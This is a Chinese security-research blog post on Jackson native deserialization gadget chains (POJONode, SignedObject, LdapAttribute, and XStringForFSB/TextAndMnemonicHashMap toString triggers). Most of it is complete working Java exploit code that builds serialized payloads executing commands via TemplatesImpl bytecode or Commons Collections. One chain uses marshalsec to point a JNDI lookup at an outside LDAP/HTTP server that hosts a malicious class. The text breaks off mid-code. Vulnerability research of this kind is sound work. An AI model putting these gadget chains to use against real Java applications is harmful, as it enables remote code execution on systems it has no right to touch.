JavaSec | jackson反序列化通杀链

 

扫码领资料

获网安教程


本文由掌控安全学院 –  fupanc 投稿

Track安全社区投稿~  

千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

前面简单了解了一下jackson反序列化,可以知道在序列化时会调用getter方法,而反序列化时会调用setter,但是都是有一定限制的,这里就来了解一下原生链的打法。

pom.xml文件中使用的依赖项如下:


      com.fasterxml.jackson.core
      jackson-databind
      2.13.3
   
   
      com.fasterxml.jackson.core
      jackson-core
      2.13.3
   
   
      com.fasterxml.jackson.core
      jackson-annotations
      2.13.3
   

测试环境:

  • • JDK8u71

前置

这里就先提供一个浅显易懂的反序列化代码,然后来看一下这里的反序列化流程,简单从一个序列化的角度来看一下这里的流程。

代码定义如下:

package jackson;

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
import java.lang.Runtime;

public class MAIn {
    public static void main(String[] args) throws Exception {
        Hacker hacker = new Hacker();
        String ow = new ObjectMapper().wrITeValueAsString(hacker);
        System.out.println(ow);
    }
}
class Hacker {
    String name2 = "fupanc2";

    public Hacker(){
    }
    public String getName(){
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
        return "fupanc";
    }
    public void setName(String name){
        this.name2 = name;
    }
}

这里的代码运行,成功弹出计算机。打断点于writeValueAsString方法行,一直跟进,可以发现是在如下代码处成功调用的invoke()方法从而获取值:

这里的调用栈如下:

可以自己去跟一下

——————

POJONode链

这个类位于com.fasterxml.jackson.databind.node.POJONode,它的toString链可以触发任意的getter方法。

前面都说了核心的思想,toString()方法调用任意的getter方法,那么对于getter方法,最经典的就是TemplatesImpl的利用。所以这里的思想还是想着toString链调用到getOutputProperties()方法。现在来跟一下看看怎么实现。

POJONode类文件本身是没有实现toString()方法的,具体的实现是在其父类的父类BaseJsonNode类中,代码内容如下:

public String toString() {
       return InternalNodeMapper.nodeToString(this);
   }

这里会调用InternalNodeMapper类的nodeToString()方法:

public static String nodeToString(JsonNode n) {
        try {
            return STD_WRITER.writeValueAsString(n);
        } catch (IOException e) { // should never occur
            throw new RuntimeException(e);
        }
    }

writeValueAsString()方法,太经典的jackson序列化调用的方法了,那么这里的漏洞点就是这里。先来看一下这里的STD_WRITER变量的定义,变量定义如下:

private final static JsonMapper JSON_MAPPER = new JsonMapper();

    private final static ObjectWriter STD_WRITER = JSON_MAPPER.writer();

这里利用的是JsonMapper类,然后这里的STD_WRITER变量的定义是JsonMapper类的writer()方法的返回值,我们可以跟进一下这里的writer()方法的调用,发现这里JsonMapper其实并没有定义writer()方法,还是调用的其父类ObjectMapper类的writer()方法:

public ObjectWriter writer() {
        return _newWriter(getSerializationConfig());
    }

然后调用了_newWriter()方法:

protected ObjectWriter _newWriter(SerializationConfig config) {
        return new ObjectWriter(this, config);
    }

这里就返回了一个ObjectWriter类实例。并且在后面进行了序列化,在序列化部分是通过调用writeValueAsString()方法来进行序列化的,可以跟进一下,内容如下:

public String writeValueAsString(Object value)
        throws JsonProcessingException
    {        
        // alas, we have to pull the recycler directly here...
        SegmentedStringWriter sw = new SegmentedStringWriter(_generatorFactory._getBufferRecycler());
        try {
            _writeValueAndClose(createGenerator(sw), value);
        } catch (JsonProcessingException e) {
            throw e;
        } catch (IOException e) { // shouldn't really happen, but is declared as possibility so:
            throw JsonMappingException.fromUnexpectedIOE(e);
        }
        return sw.getAndClear();
    }

然后我发现,ObjectMapper的writeValueAsString()方法代码逻辑同上,也就是说明其实这里就是调用ObjectMapper来进行序列化,也就是和前面了解的差不多了。总的来说,就是这里的ObjectMapper是可以用来同时序列化和反序列化的,但是ObjectWriter只是用来序列化的,同时有一个ObjectReader来进行反序列化:

所以其实都是差不多的。

对于触发toString()方法,最经典的就是CC5了。开头已经找到了,那么对于POJONode类之间的构造该是什么呢,来看一下代码之间的联系:

我们可以知道这里对POJONode类调用toString()方法,其实就是对POJONode类进行一个json序列化,序列化,肯定会调用类的变量,从POJONode类的变量中,我们可以拿到如下内容:

是的,这个_value变量,并且这个变量的定义为Object,所以是可以利用的。那么这里还是利用TemplatesImpl类的getter方法,但是这里又涉及到了一个问题,也是前面rome链提到了,这里的getter的获取,该怎么定义?

而TemplatesImpl类有多个getter方法,是否有影响呢?先构造试试看:

package jackson;

import javax.management.BadAttributeValueExpException;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        POJONode node = new POJONode(templates);

        Object bad = new BadAttributeValueExpException(null);

        Field field = BadAttributeValueExpException.class.getDeclaredField("val");
        field.setAccessible(true);
        field.set(bad, node);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

虽然成功弹出计算机,但是代码运行会报错,并且调试可得这里并不是反序列化时弹出的计算机,而是在序列化就弹计算机了。简单跟一下,发现这里是由于BaseJsonNode类定义了writeReplace()方法,而如果序列化的类实现了writeReplace方法,那么将会在序列化过程中调用它进行检查,所以这里会出错,解决方法就是删去这个方法,idea上的源码不能直接删除,还可以重写这个类来调用,还可以通过javassist来在JVM中动态更改这个类的方法,最好是修改它的方法名,一劳永逸,最后的poc如下:

package jackson;

import javax.management.BadAttributeValueExpException;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.*;
import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};
        //修改类方法
        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        ctMethod.setName("reset");
        //也可以直接删去这个类
        //ctClass.removeMethod(ctMethod);
      
        //加载修改后的类
        ctClass.toClass();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        POJONode node = new POJONode(templates);
        //BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Object bad = new BadAttributeValueExpException(null);
        Field field = bad.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(bad, node);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

至于原先错误代码中为什么在序列化之前就会弹出计算机,可以自己去调调。

SignedObject链

其实就是套了一个二次反序列化链,这里本来就是可以调用getter方法,那么二次反序列化就逃不脱了。

不多赘述,这里还是二次反序列化一个CC6,POC如下:

package jackson;

import javax.management.BadAttributeValueExpException;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
import java.util.Map;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Runtime;
import java.security.KeyPairGenerator;
import java.security.KeyPair;
import java.lang.reflect.Field;
import java.security.Signature;
import java.security.SignedObject;

public class Main {
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        //修改类方法
        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        //也可以直接删去这个类
        ctClass.removeMethod(ctMethod);
        ctClass.toClass();
        
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
        Transformer chain = new ChainedTransformer(fakeTransformer);
        Map haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashMap hashMap = new HashMap();
        hashMap.put(outerMap,"fupanc");
        haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行
        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
        x.setAccessible(true);
        x.set(chain,chainpart);

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA"));

        POJONode node = new POJONode(signedObject);
        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field field = bad.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(bad, node);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }
}

————————

LdapAttribute链

这个类位于com.sun.jndi.ldap.LdapAttribute,这是一个default属性的类,不能直接导入,反射获取即可,这个类有getter方法可以进行jndi注入:

这里就从payload来学习一下这个的使用方法(有小tips,具体看后面怎么打),先说打法,再简单讲讲这里的过程,这里需要用到marshalsec工具,然后在自己的服务器上运行jar包来生成服务器:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://47.100.223.173:2333/#a” 1389

然后开一个python的http服务:

python3 -m http.server 2333

注意在python的http服务的当前目录下放弹计算机的class文件,这里就不多说了。

然后运行下面这个代码即可:

package jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName;
import java.io.*;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

public class Main {
    public static void main( String[] args ) throws Exception {
        //删去影响POJONode序列化的类
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(ctMethod);
        ctClass.toClass();


        String ldapCtxUrl = "ldap://47.100.223.173:1389/";
        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
        Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(String.class);
        ldapAttributeClazzConstructor.setAccessible(true);
        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance("fupanc");
        Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
        baseCtxUrlField.setAccessible(true);
        baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
        Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
        rdnField.setAccessible(true);
        rdnField.set(ldapAttribute, new CompositeName("a//b"));

        POJONode jsonNodes = new POJONode(ldapAttribute);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jsonNodes);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        oos.writeObject(exp);
        oos.close();
        
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.ser"));
        ois.readObject();
        ois.close();
    }
}

这样就可以在反序列化时弹出计算机。

分析过程就简单说说吧,参考文章已经说的很清楚了:

上面主要的一个不同点就在于ldap的url没有写成ldap://xxxx/xxx,也就是后面没有加请求的codebase那些了,这里是因为payload中会的a//b会在请求时会自动加上一个a,如:

这个主要是由payload造成的,这里也就不多说了。所以这里需要用到marshalsec工具,个人理解就是直接返回一个路径让其访问拿class文件,不管是发送什么的请求,所以其实直接将a.class改成MyTest.class也是可以的。

最后有兴趣的可以再调试跟一下这里的反序列化过程。

其他触发toString的类

这里的知识点其实更多的算是一种绕过,在前面链子的学习中,我们调用toString()方法,都是利用的BadAttributeValueExpException来进行toString()方法的调用,但是如果这个类被band掉了呢,又该怎么利用,下面就来学习一下另外的可以调用toString()方法的类。

XStringForFSB

这个类位于com.sun.org.apache.xpath.internal.objects.XStringForFSB,其父类是XStirng。

其实这个和ROME链的HotSwappableTargetSource链有点关联,在那条ROME链中,是通过HotSwappableTargetSource调用到XString的的equals()方法,从而调用到任意类的toString()方法。

这里的XStringForFSB类的equals()方法同样可以调用到任何类的toString()方法:

所以还是可以作为一个中继链来调用到任意类的toString()方法。

这里的目的是调用到XStringForFSB类的equals()方法,最经典的就是还是Hashtbale了,也比较容易看,这里来尝试构造一下,使用两个HashMap,参考ROME链的equals链,主要的触发点在AbstractMap类的equals()方法:

老生常谈的方法了,简单构造一下,这里本来想选用的构造函数为:

反射获取就可,但是赋值完就丢出异常,表示不能为字符串,只能放弃。看另外一个构造函数:

super()赋值就是一直往上调用,其实就是给父类的父类XObject的变量赋值:

这个变量其实是XString链提到过的,但这里没啥用。从原先的链子中可以看出,都不会利用到这的变量,那么就尝试只将其能正常实例化,让AI给一个正常实例化的代码,经测试如下可用:

package jackson;

import com.sun.org.apache.xml.internal.utils.FastStringBuffer;
import com.sun.org.apache.xpath.internal.objects.XStringForFSB;


public class Text {
    public static void main(String[] args) {
        FastStringBuffer fsb = new FastStringBuffer();
        fsb.append("Hello, this is a sample string stored in FastStringBuffer!");
        // 2. 定义起始位置和提取长度
        int start = 7;   // 从第8个字符开始(索引从0开始)
        int length = 10; // 提取10个字符

        // 3. 创建 XStringForFSB 实例
        XStringForFSB xString = new XStringForFSB(fsb, start, length);
        System.out.println(xString);
    }
}

输出为:

this is a

输出为这个不要紧,只要它是这个类实例即可:

那么就可以尝试构造:

package jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.util.HashMap;
import java.util.Hashtable;
import com.sun.org.apache.xml.internal.utils.FastStringBuffer;
import com.sun.org.apache.xpath.internal.objects.XStringForFSB;
import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        //修改类方法
        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        //也可以直接删去这个类
        ctClass.removeMethod(ctMethod);
        ctClass.toClass();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        POJONode node = new POJONode(templates);

        FastStringBuffer fsb = new FastStringBuffer();
        fsb.append("Hello, this is a sample string stored in FastStringBuffer!");
        XStringForFSB stringForFSB = new XStringForFSB(fsb, 7, 10);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("yy",stringForFSB);
        hashMap1.put("zZ",node);

        HashMap hashMap2 = new HashMap();
        hashMap2.put("yy",node);
        hashMap2.put("zZ",stringForFSB);

        Hashtable table = new Hashtable();
        table.put(hashMap1,"1");
        table.put(hashMap2,"2");

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

成功弹出计算机,并且链子也是符合预期的,那么怎么只在反序列化时弹出里计算机呢?其实可以参考下面这条链子的绕过方法,但是这里忽略了一个非常重要的问题,FastStringBuffer不可被序列化,并且它还没有父类:

调不动了,留个坑点,应该是找到一个可以序列化的类,然后可以正常实例化 XStringForFSb 类即可。

TextAndMnemonicHashMap

这个类位于javax.swing.UIDefaults$TextAndMnemonicHashMap,也就是UIDefaults类的一个内部类,这个类的get()方法会触发toString()方法:

调用get的话,就不得不提到HashMap类的调用get()的方法:

同样是谈了很多次的这个方法,那么现在控制这里的m为TextAndMnemonicHashMap类,这里的key为POJONode类,但是这个TextAndMnemonicHashMap类是一个private内部类,不能直接导入,反射获取它的构造方法来进行创建即可,然后这里让被用来序列化的类为Hashtable,入口就可以参照CC7,先是一个简单的根据前面提出的要求来进行的构造:

package jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Constructor;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        //修改类方法
        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        //也可以直接删去这个类
        ctClass.removeMethod(ctMethod);
        ctClass.toClass();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());


        POJONode node = new POJONode(templates);

        Constructor constructor = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getDeclaredConstructor();
        constructor.setAccessible(true);
        Map text = (Map)constructor.newInstance();

        HashMap hashMap1 = new HashMap();
        hashMap1.put(node,"1");

        Hashtable table = new Hashtable();
        table.put(hashMap1,"1");
        table.put(text,"1");

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

运行是没有弹出计算机的,那么现在就来考虑一下hash值相同的问题,可以直接用上面的代码来调试,重点是hash值的计算,就都打上断点来看一下这里的hash值计算情况:

先来看第一个放入的hashMap1的计算情况:

会调用HashMap类的hashCode()方法:

然后会调用到hashCode()方法:

也就是计算键值对的hash值然后进行抑或的一个操作,然后就顺利放进了这个键值对。

第二次put()是最重要的操作,会进行hash值是否相等等一系列计算,跟进一下,同样会进入到如下的代码:

如果存在键值对的话,就同样会进行哈希值的计算,这里也会调用这个的原因应该是因为TextAndMnemonicHashMap不存在hashCode()方法,但是其父类是HashMap类:

那么是否可以通过让其键值对都相同从而让hash值相同呢,直接在text中放入键值对就行了:

Map text = (Map)constructor.newInstance();
text.put(node,"1");

再次调试,如下:

确实可以,那么现在就是考虑是否可以放入两个键值对的问题了。继续跟进,确实成功调用到了equals()方法,但是此时竟然报了如下的错误;

直接求值了?这里调用getKey()会对key进行一次调用toString()方法?跟进一下getKey()看看呢:

这里是直接返回值的操作,难道是因为这里的k是字符串类型?我这里传入的是一个类实例,所以会自动调用到这个类的toString()方法,导致了一次调用链的执行?但是又有时候弹计算机了有时候没弹(大部分时候没弹)

那么这里该怎么绕过呢?这里我想到了一个点,能否直接修改Hashtable中的存储表来进行利用,比如这里其实Hashtable和HashMap等的存储表都是通过他们的内置类Entry来实现的,可以跟进一下put()方法的后续代码:

跟进这个addEntry()方法:

就是一个实例化Node的操作。所以就是直接修改这个存储表,而存储表一般都是放在类的table变量中的:

但是这里的反射获取到相关类构造方法没搞出来,不然就只有一个一个变量获取到然后进行修改。并且其实这个直接修改在这也是没有什么大用的,就算在序列化前修改了,但是在反序列化时同样会报这个错误,同样会在getKey()方法处调用到toString()方法。

其实如果能稳定弹出计算机,这样也算是在反序列化时弹出计算机,只是不是根据链子进行的,但是这里不知道为什么有时候能弹有时候弹不了,只能放弃。

还是不行呀,看了一下参考文章,是用的TextAndMnemonicHashMap类来调用到equals()方法,正如前面谈到过的,这里的TextAndMnemonicHashMap类的父类是HashMap类,所以调用equals()方法时会一步一步往父类找,最后还是会调用到预期的equals()方法,但是其本质其实都是相同的,对于hash值相同的问题在前面也已经早就解决,当务之急还是看如何解决自动调用toString()方法的问题,想不出来,也没调出来,看一下网上现有的POC,理解了一下,然后改成自己常用的风格,如下:

package jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Map;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;

public class Main {
    public static void main(String[] args) throws Exception{
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};
        //修改类方法
        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(ctMethod);
        ctClass.toClass();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        POJONode node = new POJONode(templates);

        Map tHashMap1 = (Map) getObject(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
        Map tHashMap2 = (Map) getObject(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
        tHashMap1.put(node, "123");
        tHashMap2.put(node, "12");
        Hashtable hashtable = new Hashtable();
        hashtable.put(tHashMap1,1);
        hashtable.put(tHashMap2,1);

        tHashMap1.put(node, null);
        tHashMap2.put(node, null);
        setFieldValue(tHashMap1, "loadFactor", 0.75f);
        setFieldValue(tHashMap2, "loadFactor", 0.75f);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashtable);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }

    public static Object getObject(Class clazz) throws Exception{
        Constructor constructor = clazz.getDeclaredConstructor();
        constructor.setAccessible(true);
        return constructor.newInstance();

    }
    public static void setFieldValue(Object obj, String key, Object val) throws Exception{
        Field field = null;
        Class clazz = obj.getClass();
        while (true){
            try {
                field = clazz.getDeclaredField(key);
                break;
            } catch (NoSuchFieldException e){
                clazz = clazz.getSuperclass();//非常有必要
            }
        }
        field.setAccessible(true);
        field.set(obj, val);
    }
}

这样就可以完全成功弹出计算机,并且在控制台会报错,简单看一下确实是按照预期的链子走的,重点的需要理解的是如下的代码:

Map tHashMap1 = (Map) getObject(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
        Map tHashMap2 = (Map) getObject(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
        tHashMap1.put(node, "123");
        tHashMap2.put(node, "12");
        Hashtable hashtable = new Hashtable();
        hashtable.put(tHashMap1,1);
        hashtable.put(tHashMap2,1);

        tHashMap1.put(node, null);
        tHashMap2.put(node, null);
        setFieldValue(tHashMap1, "loadFactor", 0.75f);
        setFieldValue(tHashMap2, "loadFactor", 0.75f);

getObject()是自定义的获取构造器然后进行实例化的操作,重点是后面的内容,为什么要再次调用put()方法将value值变成null,简单从代码层面来理解,如下代码:

tHashMap1.put(node, "123");
        tHashMap2.put(node, "12");

这里的两个类放入的键值对的值不同,那么对于后续的Hashtable调用时put()方法时的hash值肯定不同,也就不会调用equals()方法来进行比较,从而成功放入了键值对,那么后面两个“tHashMap“又再次调用put()方法是为了进行一个键值对的值的更新操作,所以在反序列化时的判断的hash值就会相同了,从而可以成功进行一次调用链的执行?从控制台的报错确实是对的,但是这里就不会在getKey()时报错吗?如果从这个方面来看的话,主要的不同点就是在如下代码:

setFieldValue(tHashMap1, "loadFactor", 0.75f);
        setFieldValue(tHashMap2, "loadFactor", 0.75f);

这里是对HashMap类中的loadFactor变量进行了修改,这里的setFieldValue()方法定义也值得学习,可以获取到父类中的变量并进行修改,扩大了利用面。所以为什么需要对这里进行修改呢,尝试一下将这里改成没有这个,发现还是成功弹出计算机!(但是原文章的原格式确实需要,这就与HashMap反序列化时的问题相关了,这里不多说)调试了一下这里的过程,理解到了为什么,这里就简单说说吧,在前面的代码构造中,我一直忘记了一个点:

这里需要value的值为null才能成功调用这个toString()方法,并且虽然反序列化时同样有这个异常错误,但是从参数看,这个值代表的还是我们想要的类,下面从前面的我自己构造的代码说明一下,贴一下前面“自认为是自动调用toString()方法造成错误“的点的代码:

package jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Constructor;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        //修改类方法
        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        //也可以直接删去这个类
        ctClass.removeMethod(ctMethod);
        ctClass.toClass();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
